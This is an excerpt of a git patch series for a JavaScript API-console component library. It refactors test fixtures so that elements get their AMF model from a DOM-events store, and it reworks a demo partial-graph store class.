           assert.equal(element.serverValue, 'https://{region}.api.cognitive.microsoft.com');
         });
 
         it('initializes with selected server', async () => {
-          const methodId = store.lookupOperation(model, '/ping', 'get')['@id'];
-          element = await modelFixture(model, methodId);
+          const methodId = loader.lookupOperation(model, '/ping', 'get')['@id'];
+          element = await modelFixture(methodId);
           await nextFrame();
           assert.lengthOf(element.servers, 2);
         });
@@ -1261,14 +1284,16 @@ describe('ApiRequestEditorElement', () => {
         /** @type AmfDocument */
         let model;
         before(async () => {
-          model = await store.getGraph(compact, annotatedParametersApi);
+          model = await loader.getGraph(compact, annotatedParametersApi);
+          store.amf = model;
         });
+
         /** @type ApiRequestEditorElement */
         let element;
         beforeEach(async () => {
           InputCache.globalValues.clear();
-          const selected = store.lookupOperation(model, '/test', 'get')['@id'];
-          element = await modelFixture(model, selected);
+          const selected = loader.lookupOperation(model, '/test', 'get')['@id'];
+          element = await modelFixture(selected);
         });
   
         it('should populate annotated query parameter field', () => {
@@ -1322,14 +1347,15 @@ describe('ApiRequestEditorElement', () => {
           /** @type AmfDocument */
           let model;
           before(async () => {
-            model = await store.getGraph(compact, fileName);
+            model = await loader.getGraph(compact, fileName);
+            store.amf = model;
           });
           
           /** @type ApiRequestEditorElement */
           let element;
           beforeEach(async () => {
-            const operation = store.getOperation(model, '/single', 'get');
-            element = await modelFixture(model, operation.id);
+            const operation = loader.getOperation(model, '/single', 'get');
+            element = await modelFixture(operation.id);
           });
 
           it('sets the security value', async () => {
@@ -1355,14 +1381,15 @@ describe('ApiRequestEditorElement', () => {
           /** @type AmfDocument */
           let model;
           before(async () => {
-            model = await store.getGraph(compact, fileName);
+            model = await loader.getGraph(compact, fileName);
+            store.amf = model;
           });
           
           /** @type ApiRequestEditorElement */
           let element;
           beforeEach(async () => {
-            const operation = store.getOperation(model, '/and-and-or-union', 'get');
-            element = await modelFixture(model, operation.id);
+            const operation = loader.getOperation(model, '/and-and-or-union', 'get');
+            element = await modelFixture(operation.id);
           });
   
           it('sets the security value', async () => {
@@ -1401,14 +1428,15 @@ describe('ApiRequestEditorElement', () => {
           /** @type AmfDocument */
           let model;
           before(async () => {
-            model = await store.getGraph(compact, fileName);
+            model = await loader.getGraph(compact, fileName);
+            store.amf = model;
           });
           
           /** @type ApiRequestEditorElement */
           let element;
           beforeEach(async () => {
-            const operation = store.getOperation(model, '/cross-union', 'get');
-            element = await modelFixture(model, operation.id);
+            const operation = loader.getOperation(model, '/cross-union', 'get');
+            element = await modelFixture(operation.id);
           });
   
           it('sets the security value', async () => {
diff --git a/test/http-request/ApiRequestElement.test.js b/test/http-request/ApiRequestElement.test.js
index 3aeaccb..4ff5eec 100644
--- a/test/http-request/ApiRequestElement.test.js
+++ b/test/http-request/ApiRequestElement.test.js
@@ -1,4 +1,4 @@
-import { fixture, assert, html, nextFrame } from '@open-wc/testing';
+import { fixture, assert, html, nextFrame, aTimeout } from '@open-wc/testing';
 import sinon from 'sinon';
 import { AmfLoader } from '../AmfLoader.js';
 import '../../define/api-request.js';
@@ -6,6 +6,7 @@ import { loadMonaco } from '../MonacoSetup.js';
 import { EventTypes } from '../../src/events/EventTypes.js';
 import { NavigationEvents } from '../../src/events/NavigationEvents.js';
 import { propagateResponse, responseHandler } from '../../src/elements/ApiRequestElement.js';
+import { DomEventsAmfStore } from '../../src/store/DomEventsAmfStore.js';
 
 /** @typedef {import('../../src/helpers/amf').AmfDocument} AmfDocument */
 /** @typedef {import('../../').ApiRequestElement} ApiRequestElement */
@@ -13,65 +14,72 @@ import { propagateResponse, responseHandler } from '../../src/elements/ApiReques
 /** @typedef {import('../../src/types').ApiConsoleResponse} ApiConsoleResponse */
 
 describe('ApiRequestElement', () => {
+  const store = new DomEventsAmfStore(window);
+  store.listen();
+
   /** @type AmfLoader */
-  let store;
+  let loader;
   before(async () => {
     await loadMonaco();
-    store = new AmfLoader();
+    loader = new AmfLoader();
   });
 
   /**
-   * @param {AmfDocument=} model
    * @param {string=} domainId
    * @returns {Promise<ApiRequestElement>}
    */
-  async function basicFixture(model, domainId) {
-    return fixture(html`<api-request .amf="${model}" .domainId="${domainId}"></api-request>`);
+  async function basicFixture(domainId) {
+    const element = /** @type ApiRequestElement */ (await fixture(html`<api-request .domainId="${domainId}"></api-request>`));
+    await aTimeout(2);
+    return element;
   }
 
   /**
-   * @param {AmfDocument=} model
    * @param {string=} domainId
    * @returns {Promise<ApiRequestElement>}
    */
-  async function proxyFixture(model, domainId) {
-    return fixture(
-      html`<api-request .amf="${model}" .domainId="${domainId}" proxy="https://proxy.domain.com/"></api-request>`
-    );
+  async function proxyFixture(domainId) {
+    const element = /** @type ApiRequestElement */ (await fixture(
+      html`<api-request .domainId="${domainId}" proxy="https://proxy.domain.com/"></api-request>`
+    ));
+    await aTimeout(2);
+    return element;
   }
 
   /**
-   * @param {AmfDocument=} model
    * @param {string=} domainId
    * @returns {Promise<ApiRequestElement>}
    */
-  async function proxyEncFixture(model, domainId) {
-    return fixture(html`<api-request
-      .amf="${model}"
-      .domainId="${domainId}"
-      proxy="https://proxy.domain.com/"
-      proxyEncodeUrl></api-request>`);
+  async function proxyEncFixture(domainId) {
+    const element = /** @type ApiRequestElement */ (await fixture(html`<api-request
+    .domainId="${domainId}"
+    proxy="https://proxy.domain.com/"
+    proxyEncodeUrl></api-request>`));
+    await aTimeout(2);
+    return element;
   }
 
   /**
-   * @param {AmfDocument=} model
    * @param {string=} domainId
    * @returns {Promise<ApiRequestElement>}
    */
-  async function addHeadersFixture(model, domainId) {
+  async function addHeadersFixture(domainId) {
     const headers = [{"name": "x-test", "value": "header-value"}];
-    return fixture(html`<api-request .amf="${model}" .domainId="${domainId}" .appendHeaders="${headers}"></api-request>`);
+    const element = /** @type ApiRequestElement */ (await fixture(html`<api-request .domainId="${domainId}" .appendHeaders="${headers}"></api-request>`));
+    await aTimeout(2);
+    return element;
   }
 
   /**
-   * @param {AmfDocument=} model
    * @param {string=} domainId
    * @returns {Promise<ApiRequestElement>}
    */
-  async function navigationFixture(model, domainId) {
-    return fixture(
-      html`<api-request .amf="${model}" .domainId="${domainId}" handleNavigationEvents></api-request>`
-    );
+  async function navigationFixture(domainId) {
+    const element = /** @type ApiRequestElement */ (await fixture(
+      html`<api-request .domainId="${domainId}" handleNavigationEvents></api-request>`
+    ));
+    await aTimeout(2);
+    return element;
   }
 
   function appendRequestData(element, request={}) {
@@ -83,7 +91,8 @@ describe('ApiRequestElement', () => {
     /** @type AmfDocument */
     let model;
     before(async () => {
-      model = await store.getGraph(true);
+      model = await loader.getGraph(true);
+      store.amf = model;
     });
 
     it('can be constructed with document.createElement', () => {
@@ -92,13 +101,13 @@ describe('ApiRequestElement', () => {
     });
 
     it('hasResponse is false', async () => {
-      const element = await basicFixture(model);
+      const element = await basicFixture();
       assert.isFalse(element.hasResponse);
     });
 
     it('api-request is dispatched', async () => {
-      const method = store.lookupOperation(model, '/people', 'get');
-      const element = await basicFixture(model, method['@id']);
+      const method = loader.lookupOperation(model, '/people', 'get');
+      const element = await basicFixture(method['@id']);
       appendRequestData(element);
       const spy = sinon.spy();
       element.addEventListener('api-request', spy);
@@ -112,12 +121,13 @@ describe('ApiRequestElement', () => {
     /** @type AmfDocument */
     let model;
     before(async () => {
-      model = await store.getGraph(true);
+      model = await loader.getGraph(true);
+      store.amf = model;
     });
 
     it('changes URL in the api request event', async () => {
-      const method = store.lookupOperation(model, '/people', 'get');
-      const element = await proxyFixture(model, method['@id']);
+      const method = loader.lookupOperation(model, '/people', 'get');
+      const element = await proxyFixture(method['@id']);
       const editor = element.shadowRoot.querySelector('api-request-editor');
 
       const spy = sinon.spy();
@@ -131,8 +141,8 @@ describe('ApiRequestElement', () => {
     });
 
     it('encodes the original URL', async () => {
-      const method = store.lookupOperation(model, '/people', 'get');
-      const element = await proxyEncFixture(model, method['@id']);
+      const method = loader.lookupOperation(model, '/people', 'get');
+      const element = await proxyEncFixture(method['@id']);
       appendRequestData(element);
       const spy = sinon.spy();
       element.addEventListener(EventTypes.Request.apiRequest, spy);
@@ -150,12 +160,13 @@ describe('ApiRequestElement', () => {
     /** @type AmfDocument */
     let model;
     before(async () => {
-      model = await store.getGraph(true);
+      model = await loader.getGraph(true);
+      store.amf = model;
     });
 
     it('adds headers to the request', async () => {
-      const method = store.lookupOperation(model, '/people', 'get');
-      const element = await addHeadersFixture(model, method['@id']);
+      const method = loader.lookupOperation(model, '/people', 'get');
+      const element = await addHeadersFixture(method['@id']);
       const spy = sinon.spy();
       element.addEventListener(EventTypes.Request.apiRequest, spy);
       const editor = element.shadowRoot.querySelector('api-request-editor');
@@ -164,8 +175,8 @@ describe('ApiRequestElement', () => {
     });
 
     it('replaces headers in the request', async () => {
-      const method = store.lookupOperation(model, '/people', 'get');
-      const element = await addHeadersFixture(model, method['@id']);
+      const method = loader.lookupOperation(model, '/people', 'get');
+      const element = await addHeadersFixture(method['@id']);
       appendRequestData(element, {
         headers: 'x-test: other-value',
       });
@@ -303,23 +314,24 @@ describe('ApiRequestElement', () => {
     /** @type AmfDocument */
     let model;
     before(async () => {
-      model = await store.getGraph(true);
+      model = await loader.getGraph(true);
+      store.amf = model;
     });
 
     it('dispatches the change event when the selected change', async () => {
-      const method = store.lookupOperation(model, '/people', 'get');
-      const panel = await basicFixture(model, method['@id']);
+      const method = loader.lookupOperation(model, '/people', 'get');
+      const panel = await basicFixture(method['@id']);
       const spy = sinon.spy();
       panel.addEventListener('change', spy);
-      const other = store.lookupOperation(model, '/people', 'post');
+      const other = loader.lookupOperation(model, '/people', 'post');
       panel.domainId = other['@id'];
-      await nextFrame();
+      await aTimeout(2);
       assert.isTrue(spy.called);
     });
 
     it('dispatches the change event when a value change', async () => {
-      const method = store.lookupOperation(model, '/people', 'get');
-      const panel = await basicFixture(model, method['@id']);
+      const method = loader.lookupOperation(model, '/people', 'get');
+      const panel = await basicFixture(method['@id']);
       const spy = sinon.spy();
       panel.addEventListener('change', spy);
       const editor = panel.shadowRoot.querySelector('api-request-editor');
@@ -335,12 +347,13 @@ describe('ApiRequestElement', () => {
     /** @type AmfDocument */
     let model;
     before(async () => {
-      model = await store.getGraph(true);
+      model = await loader.getGraph(true);
+      store.amf = model;
     });
 
     it('serializes the current request', async () => {
-      const method = store.lookupOperation(model, '/people', 'get');
-      const panel = await basicFixture(model, method['@id']);
+      const method = loader.lookupOperation(model, '/people', 'get');
+      const panel = await basicFixture(method['@id']);
       const result = panel.serialize();
       assert.include(result.url, '/people');
     });
diff --git a/test/http-request/SE-12042.test.js b/test/http-request/SE-12042.test.js
index 887b96f..871d1ff 100644
--- a/test/http-request/SE-12042.test.js
+++ b/test/http-request/SE-12042.test.js
@@ -1,6 +1,7 @@
 import { fixture, assert, html, aTimeout } from '@open-wc/testing';
 import sinon from 'sinon';
 import { AmfLoader } from '../AmfLoader.js';
+import { DomEventsAmfStore } from '../../src/store/DomEventsAmfStore.js';
 import '../../define/api-request-editor.js';
 
 /** @typedef {import('../../src/helpers/amf').AmfDocument} AmfDocument */
@@ -8,16 +9,22 @@ import '../../define/api-request-editor.js';
 
 describe('ApiRequestEditorElement', () => {
   describe('SE-12042', () => {
+    const store = new DomEventsAmfStore(window);
+    store.listen();
+
     /**
      * @param {AmfDocument} amf
      * @param {string} domainId
      * @returns {Promise<ApiRequestEditorElement>}
      */
     async function modelFixture(amf, domainId) {
-      return (fixture(html`<api-request-editor
-        .amf="${amf}"
+      const element = /** @type ApiRequestEditorElement */ (await fixture(html`
+      <api-request-editor
         .domainId="${domainId}"
-        applyAuthorization></api-request-editor>`));
+        applyAuthorization
+      ></api-request-editor>`));
+      await aTimeout(2);
+      return element;
     }
 
     const apiFile = 'SE-12042';
@@ -28,16 +35,17 @@ describe('ApiRequestEditorElement', () => {
       describe(`${label}`, () => {
         describe('http method computation', () => {
           /** @type AmfLoader */
-          let store;
+          let loader;
           /** @type AmfDocument */
           let amf;
           before(async () => {
-            store = new AmfLoader();
-            amf = await store.getGraph(Boolean(compact), apiFile);
+            loader = new AmfLoader();
+            amf = await loader.getGraph(Boolean(compact), apiFile);
+            store.amf = amf;
           });
 
           it('sets headers from the authorization method', async () => {
-            const method = store.lookupOperation(amf, '/check/api-status', 'get');
+            const method = loader.lookupOperation(amf, '/check/api-status', 'get');
             const element = await modelFixture(amf, method['@id']);
             await aTimeout(10);
             const spy = sinon.spy();
@@ -50,7 +58,7 @@ describe('ApiRequestEditorElement', () => {
           });
 
           it('sets query parameter from the authorization method', async () => {
-            const method = store.lookupOperation(amf, '/check/api-status', 'get');
+            const method = loader.lookupOperation(amf, '/check/api-status', 'get');
             const element = await modelFixture(amf, method['@id']);
             await aTimeout(0);
             const spy = sinon.spy();
diff --git a/test/http-request/SE-12957.test.js b/test/http-request/SE-12957.test.js
index 20a5972..70e8b50 100644
--- a/test/http-request/SE-12957.test.js
+++ b/test/http-request/SE-12957.test.js
@@ -1,7 +1,8 @@
-import { assert, fixture, html } from '@open-wc/testing';
+import { assert, fixture, html, aTimeout } from '@open-wc/testing';
 import { AmfLoader } from '../AmfLoader.js';
-import '../../define/api-request-editor.js';
+import { DomEventsAmfStore } from '../../src/store/DomEventsAmfStore.js';
 import * as InputCache from '../../src/lib/InputCache.js';
+import '../../define/api-request-editor.js';
 
 
 /** @typedef {import('../../src/helpers/amf').AmfDocument} AmfDocument */
@@ -9,6 +10,8 @@ import * as InputCache from '../../src/lib/InputCache.js';
 
 describe('ApiRequestEditorElement', () => {
   describe('SE-12957', () => {
+    const store = new DomEventsAmfStore(window);
+    store.listen();
     const apiFile = 'SE-12957';
 
     /*
@@ -17,34 +20,33 @@ describe('ApiRequestEditorElement', () => {
      */
 
     /**
-     * @param {AmfDocument} amf
      * @param {string} domainId
      * @returns {Promise<ApiRequestEditorElement>}
      */
-    async function modelFixture(amf, domainId) {
-      return (fixture(html`<api-request-editor
-        .amf="${amf}"
+    async function modelFixture(domainId) {
+      const element = /** @type ApiRequestEditorElement */ (await fixture(html`<api-request-editor
         .domainId="${domainId}"></api-request-editor>`));
+      await aTimeout(2);
+      return element;
     }
 
-    // 2021-09-27T14:55:33.688
-
     [true, false].forEach((compact) => {
       describe(compact ? 'Compact model' : 'Full model', () => {
         /** @type AmfLoader */
-        let store;
+        let loader;
         /** @type AmfDocument */
         let amf;
 
         before(async () => {
-          store = new AmfLoader();
-          amf = await store.getGraph(compact, apiFile);
+          loader = new AmfLoader();
+          amf = await loader.getGraph(compact, apiFile);
+          store.amf = amf;
         });
 
         it('renders the input for the URI parameter', async () => {
-          const method = store.lookupOperation(amf, '/api/v1/alarm/{scada-object-key}', 'get');
+          const method = loader.lookupOperation(amf, '/api/v1/alarm/{scada-object-key}', 'get');
           const methodId = method['@id'];
-          const editor = await modelFixture(amf, methodId);
+          const editor = await modelFixture(methodId);
           const input = editor.shadowRoot.querySelector('[name="scada-object-key"]');
           assert.ok(input);
         });
@@ -55,17 +57,17 @@ describe('ApiRequestEditorElement', () => {
         // 
 
         it('renders the dateTime query parameter', async () => {
-          const method = store.lookupOperation(amf, '/api/v1/alarm/{scada-object-key}', 'get');
+          const method = loader.lookupOperation(amf, '/api/v1/alarm/{scada-object-key}', 'get');
           const methodId = method['@id'];
-          const editor = await modelFixture(amf, methodId);
+          const editor = await modelFixture(methodId);
           const input = editor.shadowRoot.querySelector('[name="time-on"]');
           assert.ok(input);
         });
 
         it('sets the proper value on the dateTime parameter', async () => {
-          const method = store.lookupOperation(amf, '/api/v1/alarm/{scada-object-key}', 'get');
+          const method = loader.lookupOperation(amf, '/api/v1/alarm/{scada-object-key}', 'get');
           const methodId = method['@id'];
-          const editor = await modelFixture(amf, methodId);
+          const editor = await modelFixture(methodId);
           const input = /** @type HTMLInputElement */ (editor.shadowRoot.querySelector('[name="time-on"]'));
           // this is valid value but the <input> filed ignores this format.
           InputCache.set(editor, input.dataset.domainId, '2021-09-27T14:55:33.688Z', false);
diff --git a/web-test-runner.config.mjs b/web-test-runner.config.mjs
index e70341b..88063ba 100644
--- a/web-test-runner.config.mjs
+++ b/web-test-runner.config.mjs
@@ -1,7 +1,7 @@
 export default {
   files: 'test/**/*.test.js',
   // files: 'test/navigation/*.test.js',
-  // files: 'test/elements/ApiDocumentationElement.test.js',
+  // files: 'test/http-request/ApiRequestEditorElement.test.js',
   // files: [
   //   'test/elements/ApiSecurityRequirementDocumentElement.test.js',
   //   'test/elements/ApiOperationDocumentElement.test.js',

From 17bf469f03f1f9cfb7818c281edaf1929cf3767a Mon Sep 17 00:00:00 2001
From: Pawel Psztyc <jarrodek@gmail.com>
Date: Fri, 22 Oct 2021 18:18:58 -0700
Subject: [PATCH 30/36] chore: working on partial store example

Signed-off-by: Pawel Psztyc <jarrodek@gmail.com>
---
 demo/api-documentation-partial.js |  85 +++--
 demo/lib/AmfPartialGraphStore.js  | 544 +++---------------------------
 demo/lib/AmfPartialModel.js       | 541 +++++++++++++++++++++++++++++
 index.d.ts                        |   1 +
 index.js                          |   1 +
 5 files changed, 641 insertions(+), 531 deletions(-)
 create mode 100644 demo/lib/AmfPartialModel.js

diff --git a/demo/api-documentation-partial.js b/demo/api-documentation-partial.js
index bd80ab4..2129b4b 100644
--- a/demo/api-documentation-partial.js
+++ b/demo/api-documentation-partial.js
@@ -36,7 +36,9 @@ class ComponentDemo extends AmfDemoBase {
       'renderCustomServer',
       'summaryModel', 'partialModelDocs'
     ]);
+    this.store.unlisten();
     this.partialStore = new AmfPartialGraphStore();
+    this.partialStore.listen();
     this.componentName = 'api-documentation';
     this.editorOpened = false;
     this.editorOperation = undefined;
@@ -74,13 +76,20 @@ class ComponentDemo extends AmfDemoBase {
   
   async loadSummary() {
     // debugger
-    const model = this.partialStore.summary();
+    const model = await this.partialStore.apiSummary();
     this.summaryModel = model;
     this.partialModelDocs = model;
     console.log(model);
     this.render();
   }
 
+  /** @param {Event} e */
+  _apiChanged(e) {
+    this.domainId = 'summary';
+    this.domainType = 'summary';
+    super._apiChanged(e);
+  }
+
   /**
    * @param {ApiNavigationEvent} e
    */
@@ -89,41 +98,49 @@ class ComponentDemo extends AmfDemoBase {
     if (passive === true) {
       return;
     }
-    this.operationId = undefined;
-    if (domainType === 'schema') {
-      this.partialModelDocs = this.partialStore.schema(domainId, this.context);
-      this.domainId = domainId;
-      this.domainType = domainType;
-      return;
-    }
-    if (domainType === 'security') {
-      this.partialModelDocs = this.partialStore.securityRequirement(domainId, this.context);
-      this.domainId = domainId;
-      this.domainType = domainType;
-      return;
-    }
-    if (domainType === 'resource') {
-      this.partialModelDocs = this.partialStore.endpoint(domainId, this.context);
-      this.domainId = domainId;
-      this.domainType = domainType;
-      return
-    }
+    this.domainType = domainType;
     if (domainType === 'operation') {
-      if (!this.partialModelDocs || this.partialModelDocs['@id'] !== parentId) {
-        this.partialModelDocs = this.partialStore.endpoint(parentId, this.context);
-      }
-      this.domainId = parentId;
       this.operationId = domainId;
-      this.domainType = domainType;
-      return
-    }
-    if (domainType === 'summary') {
-      this.partialModelDocs = this.summaryModel;
+      this.domainId = parentId;  
+    } else {
+      this.operationId = undefined;
       this.domainId = domainId;
-      this.domainType = domainType;
-      return;
     }
-    console.log(domainId, domainType, parentId, passive);
+    // this.operationId = undefined;
+    // if (domainType === 'schema') {
+    //   this.partialModelDocs = this.partialStore.schema(domainId, this.context);
+    //   this.domainId = domainId;
+    //   this.domainType = domainType;
+    //   return;
+    // }
+    // if (domainType === 'security') {
+    //   this.partialModelDocs = this.partialStore.securityRequirement(domainId, this.context);
+    //   this.domainId = domainId;
+    //   this.domainType = domainType;
+    //   return;
+    // }
+    // if (domainType === 'resource') {
+    //   this.partialModelDocs = this.partialStore.endpoint(domainId, this.context);
+    //   this.domainId = domainId;
+    //   this.domainType = domainType;
+    //   return
+    // }
+    // if (domainType === 'operation') {
+    //   if (!this.partialModelDocs || this.partialModelDocs['@id'] !== parentId) {
+    //     this.partialModelDocs = this.partialStore.endpoint(parentId, this.context);
+    //   }
+    //   this.domainId = parentId;
+    //   this.operationId = domainId;
+    //   this.domainType = domainType;
+    //   return
+    // }
+    // if (domainType === 'summary') {
+    //   this.partialModelDocs = this.summaryModel;
+    //   this.domainId = domainId;
+    //   this.domainType = domainType;
+    //   return;
+    // }
+    // console.log(domainId, domainType, parentId, passive);
     // this.domainType = type;
     // if (type === 'method') {
     //   this.operationId = selected;
@@ -193,7 +210,6 @@ class ComponentDemo extends AmfDemoBase {
     >
       <api-documentation
         slot="content"
-        .amf="${this.partialModelDocs}"
         .domainId="${this.domainId}"
         .operationId="${this.operationId}"
         .domainType="${this.domainType}"
@@ -314,7 +330,6 @@ class ComponentDemo extends AmfDemoBase {
       <h2>API request</h2>
       <anypoint-dialog-scrollable>
         <api-request
-          .amf="${this.summaryModel}"
           .domainId="${this.editorOperation}"
           ?anypoint="${this.anypoint}"
           urlLabel
@@ -342,7 +357,7 @@ class ComponentDemo extends AmfDemoBase {
     return html`
     <api-navigation
       summary
-      .amf="${this.summaryModel}"
+      .amf="${this.amf}"
       endpointsOpened
     ></api-navigation>`;
   }
diff --git a/demo/lib/AmfPartialGraphStore.js b/demo/lib/AmfPartialGraphStore.js
index de460d2..9e00e2e 100644
--- a/demo/lib/AmfPartialGraphStore.js
+++ b/demo/lib/AmfPartialGraphStore.js
@@ -1,535 +1,87 @@
 /* eslint-disable no-param-reassign */
-import { AmfHelperMixin } from '../../src/helpers/AmfHelperMixin.js';
+import { AmfStoreDomEventsMixin, AmfStore } from '../../index.js';
+import { AmfPartialModel } from './AmfPartialModel.js';
 
 /** @typedef {import('../../src/helpers/amf').AmfDocument} AmfDocument */
-/** @typedef {import('../../src/helpers/amf').DomainElement} DomainElement */
-/** @typedef {import('../../src/helpers/amf').Api} Api */
-/** @typedef {import('../../src/helpers/amf').EndPoint} EndPoint */
-/** @typedef {import('../../src/helpers/amf').Operation} Operation */
+/** @typedef {import('../../src/helpers/api').ApiSummary} ApiSummary */
+/** @typedef {import('../../src/helpers/api').ApiEndPoint} ApiEndPoint */
+/** @typedef {import('../../src/helpers/api').ApiOperation} ApiOperation */
+/** @typedef {import('../../src/helpers/api').ApiShapeUnion} ApiShapeUnion */
 
-export class AmfPartialGraphStore extends AmfHelperMixin(Object) {
+export class AmfPartialGraphStore extends AmfStoreDomEventsMixin(AmfStore) {
   /**
+   * @param {EventTarget=} eventsTarget The event target to dispatch the events on.
    * @param {AmfDocument=} graph The full API model.
    */
-  constructor(graph) {
-    super();
-    let amf = graph;
-    if (Array.isArray(graph)) {
-      [amf] = graph;
-    }
-    if (amf) {
-      this.amf = amf;
-    }
-  }
-
-  /**
-   * @returns {DomainElement} The API base definition 
-   */
-  summary() {
-    const { amf, ns } = this;
-    if (!amf) {
-      return null;
-    }
-    const result = {};
-    result['@id'] = amf['@id'];
-    result['@type'] = amf['@type'];
-    if (amf['@context']) {
-      result['@context'] = amf['@context'];
-    }
-    const declaresKey = this._getAmfKey(ns.aml.vocabularies.document.declares);
-    const declares = this.summaryDeclares(amf[declaresKey]);
-    if (declares) {
-      result[declaresKey] = declares;
-    }
-    const encodesKey = this._getAmfKey(ns.aml.vocabularies.document.encodes);
-    const encodes = this.summaryEncodes(amf[encodesKey]);
-    if (encodes) {
-      result[encodesKey] = encodes;
-    }
-    const referencesKey = this._getAmfKey(ns.aml.vocabularies.document.references);
-    const references = this.summaryReferences(amf[referencesKey]);
-    if (references) {
-      result[referencesKey] = references;
-    }
-    return JSON.parse(JSON.stringify(result));
-  }
-
-  /**
-   * @param {DomainElement[]} declares
-   * @returns {DomainElement[]}
-   */
-  summaryDeclares(declares) {
-    if (!Array.isArray(declares) || !declares.length) {
-      return null;
-    }
-    const { ns } = this;
-    const closedKey = this._getAmfKey(ns.w3.shacl.closed);
-    const nameKey = this._getAmfKey(ns.w3.shacl.name);
-    const coreNameKey = this._getAmfKey(ns.aml.vocabularies.core.name);
-    const descKey = this._getAmfKey(ns.aml.vocabularies.core.description);
-    const examplesKey = this._getAmfKey(ns.aml.vocabularies.apiContract.examples);
-    const dataNodeKey = this._getAmfKey(ns.aml.vocabularies.document.dataNode);
-    const variableKey = this._getAmfKey(ns.aml.vocabularies.document.variable);
-    const smKey = this._getAmfKey(ns.aml.vocabularies.docSourceMaps.sources);
-    const securitySchemeKey = this._getAmfKey(ns.aml.vocabularies.security.SecurityScheme);
-    const result = [];
-    const allowedKeys = ['@id', '@type', closedKey, nameKey, coreNameKey, descKey];
-    declares.forEach((item) => {
-      if (item['@type'].includes(securitySchemeKey)) {
-        result.push(this.summarySecurity(item));
-        return;
-      }
-      const cp = { };
-      allowedKeys.forEach((key) => {
-        if (key in item) {
-          cp[key] = item[key];
-        }
-      });
-      const sm = this.sourceMap(item[smKey]);
-      if (sm) {
-        cp[smKey] = sm;
-      }
-      if (examplesKey in item) {
-        cp[examplesKey] = item[examplesKey].map(example => ({ '@id': example['@id'] }));
-      }
-      if (dataNodeKey in item) {
-        cp[dataNodeKey] = item[dataNodeKey].map(dn => ({ '@id': dn['@id'] }));
-      }
-      if (variableKey in item) {
-        cp[variableKey] = item[variableKey].map(variable => variable['@value']);
-      }
-      result.push(cp);
-    });
-    return result;
-  }
-
-  /**
-   * @param {DomainElement[]} encodes
-   * @returns {Api[]}
-   */
-  summaryEncodes(encodes) {
-    if (!Array.isArray(encodes) || !encodes.length) {
-      return null;
-    }
-    const { ns } = this;
-    const result = [];
-    const acceptsKey = this._getAmfKey(ns.aml.vocabularies.apiContract.accepts);
-    const contentTypeKey = this._getAmfKey(ns.aml.vocabularies.apiContract.contentType);
-    const mediaTypeKey = this._getAmfKey(ns.aml.vocabularies.core.mediaType);
-    const schemeKey = this._getAmfKey(ns.aml.vocabularies.apiContract.scheme);
-    const serverKey = this._getAmfKey(ns.aml.vocabularies.apiContract.server);
-    const endpointKey = this._getAmfKey(ns.aml.vocabularies.apiContract.endpoint);
-    const descKey = this._getAmfKey(ns.aml.vocabularies.core.description);
-    const nameKey = this._getAmfKey(ns.aml.vocabularies.core.name);
-    const versionKey = this._getAmfKey(ns.aml.vocabularies.core.version);
-    const smKey = this._getAmfKey(ns.aml.vocabularies.docSourceMaps.sources);
-    const allowedKeys = ['@id', '@type', acceptsKey, contentTypeKey, schemeKey, descKey, nameKey, versionKey, mediaTypeKey];
-
-    encodes.forEach((item) => {
-      const cp = {};
-      allowedKeys.forEach((key) => {
-        if (key in item) {
-          cp[key] = item[key];
-        }
-      });
-      const sm = this.sourceMap(item[smKey]);
-      if (sm) {
-        cp[smKey] = sm;
-      }
-      if (serverKey in item) {
-        cp[serverKey] = item[serverKey].map((server) => {
-          const srv = { ...server };
-          const srvSm = this.sourceMap(srv[smKey]);
-          if (srvSm) {
-            srv[smKey] = srvSm;
-          }
-          return srv;
-        });
-      }
-      if (Array.isArray(item[endpointKey])) {
-        cp[endpointKey] = item[endpointKey].map(endpoint => this.summaryEndpoint(endpoint));
-      }
-      result.push(cp);
-    });
-    return result;
-  }
-
-  /**
-   * @param {DomainElement[]} references
-   * @returns {DomainElement[]}
-   */
-  summaryReferences(references) {
-    if (!Array.isArray(references) || !references.length) {
-      return null;
-    }
-    const result = [];
-
-    const { ns } = this;
-    const rootKey = this._getAmfKey(ns.aml.vocabularies.document.root);
-    const usageKey = this._getAmfKey(ns.aml.vocabularies.document.usage);
-    const versionKey = this._getAmfKey(ns.aml.vocabularies.document.version);
-    const smKey = this._getAmfKey(ns.aml.vocabularies.docSourceMaps.sources);
-    const allowedKeys = ['@id', '@type', rootKey, usageKey, versionKey];
-    
-    const encodesKey = this._getAmfKey(ns.aml.vocabularies.document.encodes);
-    const declaresKey = this._getAmfKey(ns.aml.vocabularies.document.declares);
-    const referencesKey = this._getAmfKey(ns.aml.vocabularies.document.references);
-
-    references.forEach((item) => {
-      const unit = {};
-      allowedKeys.forEach((key) => {
-        if (key in item) {
-          unit[key] = item[key];
-        }
-      });
-      const sm = this.sourceMap(item[smKey]);
-      if (sm) {
-        unit[smKey] = sm;
-      }
-      const declares = this.summaryDeclares(item[declaresKey]);
-      if (declares) {
-        unit[declaresKey] = declares;
-      }
-      const encodes = this.summaryEncodes(item[encodesKey]);
-      if (encodes) {
-        unit[encodesKey] = encodes;
-      }
-      const refs = this.summaryReferences(item[referencesKey]);
-      if (refs) {
-        result[referencesKey] = refs;
-      }
-      result.push(unit);
-    });
-    return result;
-  }
-
-  /**
-   * @param {EndPoint} endpoint
-   * @returns {EndPoint}
-   */
-  summaryEndpoint(endpoint) {
-    const { ns } = this;
-    const pathKey = this._getAmfKey(ns.aml.vocabularies.apiContract.path);
-    const operationsKey = this._getAmfKey(ns.aml.vocabularies.apiContract.supportedOperation);
-    const smKey = this._getAmfKey(ns.aml.vocabularies.docSourceMaps.sources);
-    const allowedKeys = ['@id', '@type', pathKey];
-    const result = /** @type EndPoint */ ({ '@id': '', '@type': [] });
-    allowedKeys.forEach((key) => {
-      if (key in endpoint) {
-        result[key] = endpoint[key];
-      }
-    });
-    const sm = this.sourceMap(endpoint[smKey]);
-    if (sm) {
-      result[smKey] = sm;
-    }
-    if (Array.isArray(endpoint[operationsKey])) {
-      result[operationsKey] = endpoint[operationsKey].map(op => this.summaryOperation(op));
-    }
-    return result;
-  }
-
-  /**
-   * @param {Operation} operation
-   * @returns {Operation}
-   */
-  summaryOperation(operation) {
-    const { ns } = this;
-    const methodKey = this._getAmfKey(ns.aml.vocabularies.apiContract.method);
-    const expectsKey = this._getAmfKey(ns.aml.vocabularies.apiContract.expects);
-    const securityKey = this._getAmfKey(ns.aml.vocabularies.security.security);
-    const descKey = this._getAmfKey(ns.aml.vocabularies.core.description);
-    const nameKey = this._getAmfKey(ns.aml.vocabularies.core.name);
-    const smKey = this._getAmfKey(ns.aml.vocabularies.docSourceMaps.sources);
